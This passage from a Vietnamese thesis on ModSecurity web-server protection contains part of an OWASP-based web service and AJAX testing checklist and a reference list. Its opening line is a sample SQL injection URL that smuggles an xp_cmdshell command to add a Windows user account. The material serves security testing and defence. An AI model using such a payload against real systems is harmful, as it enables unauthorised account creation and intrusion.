https://www.ws.com/accountinfo?accountnumber=12039475' exec master..xp_cmdshell 'net user Vxr pass /Add &userId=asi9485jfuhe92

WS-006 Naughty SOAP attachments - WS Naughty SOAP attachments

WS Naughty SOAP attachments

Attach a test virus attachment using a non-destructive virus like EICAR, to a SOAP message and post to the target Web Service.

90

WS-007 Replay Testing - WS Replay Testing

WS Replay Testing

Capture the Traffic with sniffers/proxy and replay the request

WebScarab, Ethreal, WireShark, TCPReplay

Ajax Testing

AJ-001 AJAX Vulnerabilities - N.A.

N.A. * XMLHttpRequest Vulnerabilitie, SQL Injectio, XSS, DOM based XSS, JSON/XML/XSLT Injection * AJAX Bridging - Cross website requests are sent through this method * Cross Site Request Forgery (CSRF) * DOS - Multiple XMLHttpRequests

AJ-002 AJAX Testing - AJAX weakness

AJAX weakness

Parse the HTML and JavaScript files and using a proxy to observe traffic.

Proxy tools, Firebug OWASP Sprajax

91

XIII. TÀI LIỆU THAM KHẢO Ristic, Ivan. Modsecurity Handbook: The Complete Guide to the Popular

Open Source Web Application Firewall. S.l.: Feisty Duck, 2010. Web

Barnett, Ryan. The Web Application Defender's Cookbook: Battling Hackers

and Protecting Users. Indianapolis, Ind: Wiley, 2013.

"ModSecurity® Reference Manual." Reference Manual. Trustwave Holdings,

Inc., n.d. Web. <https://github.com/SpiderLabs/ModSecurity/wiki/Reference-

Manual>.

OWASP Testing Guide . 3rd ed. N.p.: OWASP Foundation, n.d. OWASP

Testing Guide V3. 2010. Web.

<https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf>.

"OWASP Based Web Application Security Testing Checklist." OWASP Based

Web Application Security Testing Checklist. N.p., 19 Oct. 2011. Web.

<https://code.google.com/p/owasp-testing-checklist/>

Technology

Nghiên cứu ứng dụng mod security để bảo vệ web server